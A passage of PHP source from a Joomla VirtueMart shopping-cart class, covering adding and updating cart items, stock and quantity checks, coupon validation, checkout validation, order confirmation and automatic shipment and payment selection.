$value),"'") ; $customParamItem = (string)preg_replace('#^\'#si','',$value); } } else { $value = JComponentHelper::filterText($customParam); $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $customParam = (string)preg_replace('#^\'#si','',$value); } //$value = vmFilter::hl( $customPl,array('deny_attribute'=>'*')); //to strong /* $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$value);//remove all html tags */ //lets use instead } } } } } $product->customPlugin = json_encode($customPlugins); } $productKey .= '::'; foreach ($product->customPrices as $customPrice) { $found = false; foreach ($customPrice as $customId => $custom_fieldId) { vmdebug('The $customId => $custom_fieldId '.$productKey,$customId,$custom_fieldId); //MarkerVarMods if ( is_array($custom_fieldId) ) { foreach ($custom_fieldId as $userfieldId => $userfield) { //$productKey .= (int)$customId . ':' . (int)$userfieldId . ';'; //$productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; foreach($tmpProduct -> customfieldsCart as $k => $customfieldsCart){ if(isset($customfieldsCart->options) and is_array($customfieldsCart->options)){ $keys= array_keys($customfieldsCart->options); foreach( $keys as $virtuemart_customfield_id){ if($virtuemart_customfield_id==$custom_fieldId){ $productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; unset($tmpProduct -> customfieldsCart[$k]); $found = true; } } } else { if($customfieldsCart->virtuemart_customfield_id==$custom_fieldId){ $productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; unset($tmpProduct -> customfieldsCart[$k]); $found = true; } } } } } else { //TODO productCartId foreach($tmpProduct -> customfieldsCart as $k => $customfieldsCart){ if(isset($customfieldsCart->options) and is_array($customfieldsCart->options)){ $keys= array_keys($customfieldsCart->options); foreach( $keys as $virtuemart_customfield_id){ if($virtuemart_customfield_id==$custom_fieldId){ $productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; unset($tmpProduct -> customfieldsCart[$k]); $found = true; } } } else { if($customfieldsCart->virtuemart_customfield_id==$custom_fieldId){ $productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';'; unset($tmpProduct -> customfieldsCart[$k]); $found = true; } } } } if(!$found){ foreach($tmpProduct -> customfieldsCart as $k => $cfCart){ if($cfCart->field_type=='E'){ $productKey .= (int)$cfCart->virtuemart_customfield_id . ':' . (int) $cfCart->virtuemart_custom_id . ';'; vmdebug('The $product->customPrice as $customId => $custom_fieldId '.$productKey,$cfCart); $found = true; } } if(!$found){ vmdebug('Cart variant was not found and no fallback found',$tmpProduct -> customfieldsCart,$customfieldsCart); vmError('Cart variant was not found and no fallback found'); } } } } } // Add in the quantity in case the customfield plugins need it $product->quantity = (int)$quantityPost; if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // on returning false the product have not to be added to cart $addToCartReturnValues = $dispatcher->trigger('plgVmOnAddToCart',array(&$product)); foreach ($addToCartReturnValues as $returnValue) { if ( $returnValue === false ) continue 2; } if (array_key_exists($productKey, $this->products) && (empty($product->customPlugin)) ) { $errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_UPDATED'); $totalQuantity = $this->products[$productKey]->quantity+ $quantityPost; if ($this->checkForQuantities($product,$totalQuantity ,$errorMsg)) { $this->products[$productKey]->quantity = $totalQuantity; } else { continue; } } else { if ( !empty($product->customPlugin)) { $productKey .= count($this->products); } if ($this->checkForQuantities($product, $quantityPost,$errorMsg)) { $this->products[$productKey] = $product; $product->quantity = $quantityPost; //$mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_CART_PRODUCT_ADDED')); } else { // $errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK'); continue; } } $success = true; } else { $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND', false)); return false; } } if ($success== false) return false ; // End Iteration through Prod id's $this->setCartIntoSession(); return $products; } /** * Remove a product from the cart * * @author RolandD * @param array $cart_id the cart IDs to remove from the cart * @access public */ public function removeProductCart($prod_id=0) { // Check for cart IDs if (empty($prod_id)) $prod_id = JRequest::getVar('cart_virtuemart_product_id'); unset($this->products[$prod_id]); if(isset($this->cartProductsData[$prod_id])){ // hook for plugin action "remove from cart" if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $addToCartReturnValues = $dispatcher->trigger('plgVmOnRemoveFromCart',array($this,$prod_id)); unset($this->cartProductsData[$prod_id]); } $this->setCartIntoSession(); return true; } /** * Update a product in the cart * * @author Max Milbers * @param array $cart_id the cart IDs to remove from the cart * @access public */ public function updateProductCart($cart_virtuemart_product_id=0,$quantity = null) { if (empty($cart_virtuemart_product_id)) $cart_virtuemart_product_id = vRequest::getString('cart_virtuemart_product_id'); if ($quantity === null) $quantity = vRequest::getInt('quantity'); $updated = false; if (array_key_exists($cart_virtuemart_product_id, $this->products)) { if (!empty($quantity)) { if ($this->checkForQuantities($this->products[$cart_virtuemart_product_id], $quantity)) { $this->products[$cart_virtuemart_product_id]->quantity = $quantity; $updated = true; } } else { //Todo when quantity is 0, the product should be removed, maybe necessary to gather in array and execute delete func unset($this->products[$cart_virtuemart_product_id]); $updated = true; } // Save the cart $this->setCartIntoSession(); } if ($updated) return true; else return false; } /** * Get the category ID from a product ID * * @author RolandD, Patrick Kohl * @access public * @return mixed if found the category ID else null */ public function getCardCategoryId($virtuemart_product_id) { $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_category_id` FROM `#__virtuemart_product_categories` WHERE `virtuemart_product_id` = ' . (int) $virtuemart_product_id . ' LIMIT 1'; $db->setQuery($q); return $db->loadResult(); } /** Checks if the quantity is correct * * @author Max Milbers */ private function checkForQuantities($product, &$quantity=0,&$errorMsg ='') { $stockhandle = VmConfig::get('stockhandle','none'); // Check for a valid quantity if (!is_numeric( $quantity)) { $errorMsg = JText::_('COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY', false); // $this->_error[] = 'Quantity was not a number'; $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } // Check for negative quantity if ($quantity < 1) { // $this->_error[] = 'Quantity under zero'; $errorMsg = JText::_('COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY', false); $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } // update the stock info from the database $product_model = VmModel::getModel('product'); $product = $product_model->getProduct($product->virtuemart_product_id); // Check to see if checking stock quantity if ($stockhandle!='none' && $stockhandle!='risetime') { $productsleft = $product->product_in_stock - $product->product_ordered; // TODO $productsleft = $product->product_in_stock - $product->product_ordered - $quantityincart ; if ($quantity > $productsleft ){ if($productsleft>0 and $stockhandle=='disableadd'){ $quantity = $productsleft; $errorMsg = JText::sprintf('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_QUANTITY',$quantity); $this->setError($errorMsg); vmInfo($errorMsg.' '.$product->product_name); // $mainframe->enqueueMessage($errorMsg); } else { $errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK'); $this->setError($errorMsg); // Private error retrieved with getError is used only by addJS, so only the latest is fine // todo better key string vmInfo($errorMsg. ' '.$product->product_name); // $mainframe->enqueueMessage($errorMsg); return false; } } } // Check for the minimum and maximum quantities $min = $product->min_order_level; if ($min != 0 && $quantity < $min) { $errorMsg = JText::sprintf('COM_VIRTUEMART_CART_MIN_ORDER', $min); $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } $max = $product->max_order_level; if ($max != 0 && $quantity > $max) { $errorMsg = JText::sprintf('COM_VIRTUEMART_CART_MAX_ORDER', $max); $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } $step = $product->step_order_level; if ($step != 0 && ($quantity%$step)!= 0) { $errorMsg = JText::sprintf('COM_VIRTUEMART_CART_STEP_ORDER', $step); $this->setError($errorMsg); vmInfo($errorMsg,$product->product_name); return false; } return true; } /** * Validate the coupon code. If ok,. set it in the cart * @param string $coupon_code Coupon code as entered by the user * @author Oscar van Eijk * TODO Change the coupon total/used in DB ? * @access public * @return string On error the message text, otherwise an empty string */ public function setCouponCode($coupon_code) { if(empty($coupon_code)) return false; if (!class_exists('CouponHelper')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); } if(!isset($this->pricesUnformatted['salesPrice'])){ $this->getCartPrices(); } if(!in_array($coupon_code,$this->_triesValidateCoupon)){ $this->_triesValidateCoupon[] = $coupon_code; } if(count($this->_triesValidateCoupon)<8){ $msg = CouponHelper::ValidateCouponCode($coupon_code, $this->pricesUnformatted['salesPrice']);; } else{ $msg = JText::_('COM_VIRTUEMART_CART_COUPON_TOO_MANY_TRIES'); } if (!empty($msg)) { $this->couponCode = ''; $this->_dataValidated = false; $this->_blockConfirm = true; $this->getCartPrices(); $this->setCartIntoSession(); return $msg; } $this->couponCode = $coupon_code; $this->setCartIntoSession(); return JText::_('COM_VIRTUEMART_CART_COUPON_VALID'); } /** * Check the selected shipment data and store the info in the cart * @param integer $shipment_id Shipment ID taken from the form data * @author Oscar van Eijk */ public function setShipment($shipment_id) { $this->virtuemart_shipmentmethod_id = $shipment_id; $this->setCartIntoSession(); } public function setPaymentMethod($virtuemart_paymentmethod_id) { $this->virtuemart_paymentmethod_id = $virtuemart_paymentmethod_id; $this->setCartIntoSession(); } function confirmDone() { $this->checkoutData(); if ($this->_dataValidated) { $this->_confirmDone = true; $this->confirmedOrder(); } else { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE), JText::_('COM_VIRTUEMART_CART_CHECKOUT_DATA_NOT_VALID')); } } function checkout($redirect=true) { $this->checkoutData($redirect); if ($this->_dataValidated && $redirect) { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE), JText::_('COM_VIRTUEMART_CART_CHECKOUT_DONE_CONFIRM_ORDER')); } } private function redirecter($relUrl,$redirectMsg){ $this->_dataValidated = false; $app = JFactory::getApplication(); if($this->_redirect and !$this->_redirect_disabled){ $this->setCartIntoSession(); //This is an internal redirect, therefore $this->useXHTML is always false $app->redirect(JRoute::_($relUrl,false,$this->useSSL), $redirectMsg); return false; } else { $this->_inCheckOut = false; $this->setCartIntoSession(); return false; } } public function getFilterCustomerComment(){ $this->customer_comment = JRequest::getVar('customer_comment', $this->customer_comment); // no HTML TAGS but permit all alphabet $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$this->customer_comment);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $this->customer_comment = (string)preg_replace('#^\'#si','',$value);//replace ' at start } private function checkoutData($redirect = true) { $this->_redirect = $redirect; $this->_inCheckOut = true; $this->setCartIntoSession(); $this->tosAccepted = JRequest::getInt('tosAccepted', $this->tosAccepted); $this->STsameAsBT = JRequest::getInt('STsameAsBT', $this->STsameAsBT); $this->order_language = JRequest::getVar('order_language', $this->order_language); $this->getFilterCustomerComment(); $this->cartData = $this->prepareCartData(); $this->prepareCartPrice(); if (count($this->products) == 0) { return $this->redirecter('index.php?option=com_virtuemart', JText::_('COM_VIRTUEMART_CART_NO_PRODUCT')); } else { foreach ($this->products as $product) { $redirectMsg = $this->checkForQuantities($product, $product->quantity); if (!$redirectMsg) { return $this->redirecter('index.php?option=com_virtuemart&view=cart', $redirectMsg); } } } // Check if a minimun purchase value is set if (($redirectMsg = $this->checkPurchaseValue()) != null) { return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } $validUserDataBT = self::validateUserData(); if(!isset($this->tosAccepted)){ $userFieldsModel = VmModel::getModel('Userfields'); $agreed = $userFieldsModel->getUserfield('agreed','name'); $this->tosAccepted = $agreed->default; } if (empty($this->tosAccepted)) { $userFieldsModel = VmModel::getModel('Userfields'); $agreed = $userFieldsModel->getUserfield('agreed','name'); if(empty($this->tosAccepted) and !empty($agreed->required) and $validUserDataBT!==-1){ $redirectMsg = null;// JText::_('COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS'); $this->tosAccepted = false; vmInfo('COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS','COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS'); return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } } if ($validUserDataBT!==true) { //Important, we can have as result -1,false and true. return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT' , ''); } if($this->STsameAsBT!==0){ if($this->_confirmDone){ $this->ST = $this->BT; } else { $this->ST = 0; } } else { if (($this->selected_shipto = JRequest::getVar('shipto', null)) !== null) { JModel::addIncludePath(JPATH_VM_ADMINISTRATOR . DS . 'models'); $userModel = JModel::getInstance('user', 'VirtueMartModel'); $stData = $userModel->getUserAddressList(0, 'ST', $this->selected_shipto); $stData = get_object_vars($stData[0]); if($this->validateUserData('ST', $stData)!=-1 and $this->validateUserData('ST', $stData)>0){ $this->ST = $stData; } } //Only when there is an ST data, test if all necessary fields are filled $validUserDataST = self::validateUserData('ST'); if ($validUserDataST!==true) { return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=ST' , ''); } } if(VmConfig::get('oncheckout_only_registered',0)) { $currentUser = JFactory::getUser(); if(empty($currentUser->id)){ $redirectMsg = JText::_('COM_VIRTUEMART_CART_ONLY_REGISTERED'); return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT' , $redirectMsg); } } //vmdebug('ValidateCouponCode ValidateCouponCode ValidateCouponCode',$this->couponCode); // Test Coupon if (!empty($this->couponCode)) { //$prices = $this->getCartPrices(); if (!class_exists('CouponHelper')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); } if(!in_array($this->couponCode,$this->_triesValidateCoupon)){ $this->_triesValidateCoupon[] = $this->couponCode; } if(count($this->_triesValidateCoupon)<8){ $redirectMsg = CouponHelper::ValidateCouponCode($this->couponCode, $this->pricesUnformatted['salesPrice']); } else{ $redirectMsg = JText::_('COM_VIRTUEMART_CART_COUPON_TOO_MANY_TRIES'); } if (!empty($redirectMsg)) { $this->couponCode = ''; $this->getCartPrices(); $this->setCartIntoSession(); return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } } $redirectMsg = ''; //Test Shipment and show shipment plugin if (empty($this->virtuemart_shipmentmethod_id)) { return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=edit_shipment' , $redirectMsg); } else if ($this->virtuemart_shipmentmethod_id != JRequest::getInt('virtuemart_shipmentmethod_id', $this->virtuemart_shipmentmethod_id)) { $obj = new VirtueMartControllerCart(); $obj->setshipment(); return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } else { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnCheckoutCheckDataShipment', array( $this)); //vmdebug('plgVmOnCheckoutCheckDataShipment CART', $retValues); foreach ($retValues as $retVal) { if ($retVal === true) { break; // Plugin completed succesfull; nothing else to do } elseif ($retVal === false) { // Missing data, ask for it (again) return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=edit_shipment' , $redirectMsg); // NOTE: inactive plugins will always return null, so that value cannot be used for anything else! } } } //Test Payment and show payment plugin if($this->pricesUnformatted['salesPrice']>0.0){ if (empty($this->virtuemart_paymentmethod_id)) { return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=editpayment' , $redirectMsg); } else if ($this->virtuemart_paymentmethod_id != JRequest::getInt('virtuemart_paymentmethod_id', $this->virtuemart_paymentmethod_id)) { $obj = new VirtueMartControllerCart(); $obj->setpayment(); return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } else { if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); //Add a hook here for other payment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnCheckoutCheckDataPayment', array( $this)); foreach ($retValues as $retVal) { if ($retVal === true) { break; // Plugin completed succesful; nothing else to do } elseif ($retVal === false) { // Missing data, ask for it (again) return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=editpayment' , $redirectMsg); // NOTE: inactive plugins will always return null, so that value cannot be used for anything else! } } } } //Show cart and checkout data overview $this->_inCheckOut = false; if($this->_blockConfirm){ $this->_dataValidated = false; return $this->redirecter('index.php?option=com_virtuemart&view=cart',''); } else { $this->_dataValidated = true; $this->setCartIntoSession(); return true; } } /** * Check if a minimum purchase value for this order has been set, and if so, if the current * value is equal or hight than that value. * @author Oscar van Eijk * @return An error message when a minimum value was set that was not eached, null otherwise */ private function checkPurchaseValue() { $vendor = VmModel::getModel('vendor'); $vendor->setId($this->vendorId); $store = $vendor->getVendor(); if ($store->vendor_min_pov > 0) { $prices = $this->getCartPrices(); if ($prices['salesPrice'] < $store->vendor_min_pov) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); return JText::sprintf('COM_VIRTUEMART_CART_MIN_PURCHASE', $currency->priceDisplay($store->vendor_min_pov)); } } return null; } /** * Test userdata if valid * * @author Max Milbers * @param String if BT or ST * @param Object If given, an object with data address data that must be formatted to an array * @return redirectMsg, if there is a redirectMsg, the redirect should be executed after */ private function validateUserData($type='BT', $obj = null) { if(empty($obj)){ $obj = $this->{$type}; } $usersModel = VmModel::getModel('user'); return $usersModel->validateUserData($obj,$type); } /** * This function is called, when the order is confirmed by the shopper. * * Here are the last checks done by payment plugins. * The mails are created and send to vendor and shopper * will show the orderdone page (thank you page) * */ function confirmedOrder() { //Just to prevent direct call if ($this->_dataValidated && $this->_confirmDone) { $orderModel = VmModel::getModel('orders'); if (($orderID = $orderModel->createOrderFromCart($this)) === false) { $mainframe = JFactory::getApplication(); JError::raiseWarning(500, 'No order created '.$orderModel->getError()); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE) ); } $this->virtuemart_order_id = $orderID; //$order= $orderModel->getOrder($orderID); $orderDetails = $orderModel ->getMyOrderDetails($orderID); if(!$orderDetails or empty($orderDetails['details'])){ echo JText::_('COM_VIRTUEMART_CART_ORDER_NOTFOUND'); return; } $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('vmcalculation'); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($this, $orderDetails)); // may be redirect is done by the payment plugin (eg: paypal) // if payment plugin echos a form, false = nothing happen, true= echo form , // 1 = cart should be emptied, 0 cart should not be emptied return $orderID; } return NULL; } /** * emptyCart: Used for payment handling. * * @author Valerie Cartan Isaksen * */ public function emptyCart(){ self::emptyCartValues($this); $this->setCartIntoSession(); } /** * emptyCart: Used for payment handling. * * @author Valerie Cartan Isaksen * */ static public function emptyCartValues($cart){ //We delete the old stuff $cart->products = array(); $cart->_inCheckOut = false; $cart->_dataValidated = false; $cart->_confirmDone = false; $cart->customer_comment = ''; $cart->couponCode = ''; $cart->order_language = ''; $cart->tosAccepted = null; $cart->virtuemart_shipmentmethod_id = 0; //OSP 2012-03-14 $cart->virtuemart_paymentmethod_id = 0; $cart->order_number=null; $cart->pricesUnformatted = null; $cart->cartData = null; } function saveAddressInCart($data, $type, $putIntoSession = true) { //vmdebug('email $data',$data['email']); // VirtueMartModelUserfields::getUserFields() won't work if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); $prefix = ''; $prepareUserFields = $userFieldsModel->getUserFieldsFor('cart',$type); if(!is_array($data)){ $data = get_object_vars($data); } //STaddress may be obsolete if ($type == 'STaddress' || $type =='ST') { $prefix = 'shipto_'; $this->STsameAsBT = 0; } else { // BT if(!empty($data['agreed'])){ $this->tosAccepted = $data['agreed']; } if(empty($data['email'])){ $jUser = JFactory::getUser(); $address['email'] = $jUser->email; //vmdebug('email was empty',$address['email']); } } $address = array(); foreach ($prepareUserFields as $fld) { if(!empty($fld->name)){ $name = $fld->name; /*if($fld->readonly){ vmdebug(' saveAddressInCart ',$data[$prefix.$name]); }*/ if(!empty($data[$prefix.$name])){ $address[$name] = $data[$prefix.$name]; } else { if($fld->required and isset($this->{$type}[$name])){ //Why we have this fallback to the already stored value? $address[$name] = $this->{$type}[$name]; } else { vmdebug('saveAddressInCart empty value for $name='.$name); $address[$name] = ''; } } } } //dont store passwords in the session unset($address['password']); unset($address['password2']); $this->{$type} = $address; if($putIntoSession){ $this->setCartIntoSession(); } } /* * CheckAutomaticSelectedShipment * If only one shipment is available for this amount, then automatically select it * * @author Valérie Isaksen */ function CheckAutomaticSelectedShipment($cart_prices, $checkAutomaticSelected ) { if (!$checkAutomaticSelected or count($this->products) == 0 or VmConfig::get('automatic_shipment','1')!='1') { return false; } $nbShipment = 0; $virtuemart_shipmentmethod_id = 0; if (!class_exists('vmPSPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); } JPluginHelper::importPlugin('vmshipment'); $shipCounter=0; $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnCheckAutomaticSelectedShipment', array( $this,$cart_prices, &$shipCounter)); foreach ($returnValues as $returnValue) { if ( isset($returnValue )) { $nbShipment ++; if ($returnValue) $virtuemart_shipmentmethod_id = $returnValue; } } if ($nbShipment==1 && $virtuemart_shipmentmethod_id) { $this->virtuemart_shipmentmethod_id = $virtuemart_shipmentmethod_id; $this->automaticSelectedShipment=true; $this->setCartIntoSession(); return true; } else { if($this->automaticSelectedShipment){ $this->virtuemart_shipmentmethod_id = 0; $this->automaticSelectedShipment=false; $this->setCartIntoSession(); } return false; } } /* * CheckAutomaticSelectedPayment * If only one payment is available for this amount, then automatically select it * * @author Valérie Isaksen */ function CheckAutomaticSelectedPayment($cart_prices, $checkAutomaticSelected=true) { $nbPayment = 0; $virtuemart_paymentmethod_id=0; if ($checkAutomaticSelected and VmConfig::get('automatic_payment','1')=='1' ) { if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $paymentCounter=0; $returnValues = $dispatcher->trigger('plgVmOnCheckAutomaticSelectedPayment', array( $this, $cart_prices, &$paymentCounter)); foreach ($returnValues as $returnValue) { if ( isset($returnValue )) { $nbPayment++; if($returnValue) $virtuemart_paymentmethod_id = $returnValue; } } if ($nbPayment==1 && $virtuemart_paymentmethod_id) { $this->virtuemart_paymentmethod_id = $virtuemart_paymentmethod_id; $this->automaticSelectedPayment=true; $this->setCartIntoSession(); return true; } else { if($this->automaticSelectedPayment){ $this->virtuemart_paymentmethod_id = 0; $this->automaticSelectedPayment=false; $this->setCartIntoSession(); } return false; } } else { return false; } } /* * CheckShipmentIsValid: * check if the selected shipment is still valid for this new cart * * @author Valerie Isaksen */ function CheckShipmentIsValid() { if ($this->virtuemart_shipmentmethod_id===0) return; $shipmentValid = false; if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnCheckShipmentIsValid', array( $this)); foreach ($returnValues as $returnValue) { $shipmentValid += $returnValue; } if (!$shipmentValid) { $this->virtuemart_shipmentmethod_id = 0; $this->setCartIntoSession(); } } /* * Prepare the datas for cart/mail views * set product, price, user, adress and vendor as Object * @author Patrick Kohl * @author Valerie Isaksen */ function prepareCartViewData(){ // Get the products for the cart $this->prepareAddressDataInCart(); $this->prepareCartPrice( ) ; $this->cartData = $this->prepareCartData(); $this->prepareVendor(); } /** * prepare display of cart * * @author RolandD * @author Max Milbers * @access public */ public function prepareCartData($checkAutomaticSelected=true){ vmSetStartTime('prepareCartData'); // Get the products for the cart if(!empty($this->couponCode)){ $this->setCouponCode($this->couponCode); vmdebug('ValidateCouponCode',$this->couponCode); } else{ // Get the products for the cart, the setCouponCode does it for us $this->getCartPrices($checkAutomaticSelected); } if (empty($this->pricesUnformatted)) return null; if(!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $calculator = calculationHelper::getInstance(); $this->pricesCurrency = $currency->getCurrencyForDisplay(); if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmgetPaymentCurrency', array( $this->virtuemart_paymentmethod_id, &$this->paymentCurrency)); $cartData = $calculator->getCartData(); return $cartData ; } private function prepareCartPrice( ){ $productM = VmModel::getModel('product'); $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } foreach ($this->products as $cart_item_id=>&$product){ $product->virtuemart_category_id = $this->getCardCategoryId($product->virtuemart_product_id); //$product = $productM->getProduct($product->virtuemart_product_id,true, true, true, $product->quantity); $productM->getProductPrices($product,$product->quantity,$virtuemart_shoppergroup_ids,true,true); // No full link because Mail want absolute path and in shop is better relative path $product->url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$product->virtuemart_category_id, FALSE);//JHTML::link($url, $product->product_name); if(!empty($product->customfieldsCart)){ if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $product->customfields = VirtueMartModelCustomfields::CustomsFieldCartDisplay($cart_item_id,$product); } else { $product->customfields =''; } $product->cart_item_id = $cart_item_id ; } } /** * Function Description * * @author Max Milbers * @access public * @param array $cart the cart to get the products for * @return array of product objects */ // $this->pricesUnformatted = $product_prices; public function getCartPrices($checkAutomaticSelected=true ) { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $calculator = calculationHelper::getInstance(); $this->pricesUnformatted = $calculator->getCheckoutPrices($this, $checkAutomaticSelected); return $this->pricesUnformatted; } function prepareAddressDataInCart($type='BT',$new = false, $virtuemart_user_id=null){ $userFieldsModel =VmModel::getModel('Userfields'); if($new){ $data = null; } else { $data = (object)$this->$type; } if($virtuemart_user_id!==null){ $data->virtuemart_user_id=$virtuemart_user_id; } if($type=='ST'){ $preFix = 'shipto_'; } else { $preFix = ''; } $addresstype = $type.'address'; //for example BTaddress $userFieldsBT = $userFieldsModel->getUserFieldsFor('cart',$type); $address = $this->$addresstype = $userFieldsModel->getUserFieldsFilled( $userFieldsBT ,$data ,$preFix ); //vmdebug('prepareAddressDataInCart',$this->$addresstype); if(empty($this->$type) and $type=='BT'){ $tmp =&$this->$type ; $tmp = array(); foreach($address['fields'] as $k =>$field){ //vmdebug('prepareAddressDataInCart',$k,$field); if($k=='virtuemart_country_id'){ if(isset($address['fields'][$k]['virtuemart_country_id']) and !isset($tmp['virtuemart_country_id'])){ $tmp['virtuemart_country_id'] = $address['fields'][$k]['virtuemart_country_id']; } } else if($k=='virtuemart_state_id') { if(isset($address['fields'][$k]['virtuemart_state_id']) and !isset($tmp['virtuemart_state_id'])){ $tmp['virtuemart_state_id'] = $address['fields'][$k]['virtuemart_state_id']; } } else if (!empty($address['fields'][$k]['value'])){ if(!isset($tmp[$k])){ $tmp[$k] = $address['fields'][$k]['value']; //vmdebug('Values was empty for key '.$k.', set value to default'.$address['fields'][$k]['value']); } } } //$this->$type = $tmp; } if(!empty($this->ST) && $type!=='ST'){ $data = (object)$this->ST; if($new){ $data = null; } $userFieldsST = $userFieldsModel->getUserFieldsFor('cart','ST'); $this->STaddress = $userFieldsModel->getUserFieldsFilled( $userFieldsST ,$data ,$preFix ); } } function prepareAddressRadioSelection(){ //Just in case $this->user = VmModel::getModel('user'); $this->userDetails = $this->user->getUser(); $_addressBT = array(); // Shipment address(es) if($this->user){ $_addressBT = $this->user->getUserAddressList($this->userDetails->JUser->get('id') , 'BT'); // Overwrite the address name for display purposes if(empty($_addressBT[0])) $_addressBT[0] = new stdClass(); $_addressBT[0]->address_type_name = JText::_('COM_VIRTUEMART_ACC_BILL_DEF'); $_addressST = $this->user->getUserAddressList($this->userDetails->JUser->get('id') , 'ST'); } else { $_addressBT[0]->address_type_name = ''.JText::_('COM_VIRTUEMART_ACC_BILL_DEF').''.'
      '; $_addressST = array(); } $addressList = array_merge( array($_addressBT[0])// More BT addresses can exist for shopowners :-( , $_addressST ); if($this->user){ for ($_i = 0; $_i < count($addressList); $_i++) { $addressList[$_i]->address_type_name = ''.$addressList[$_i]->address_type_name.''.'
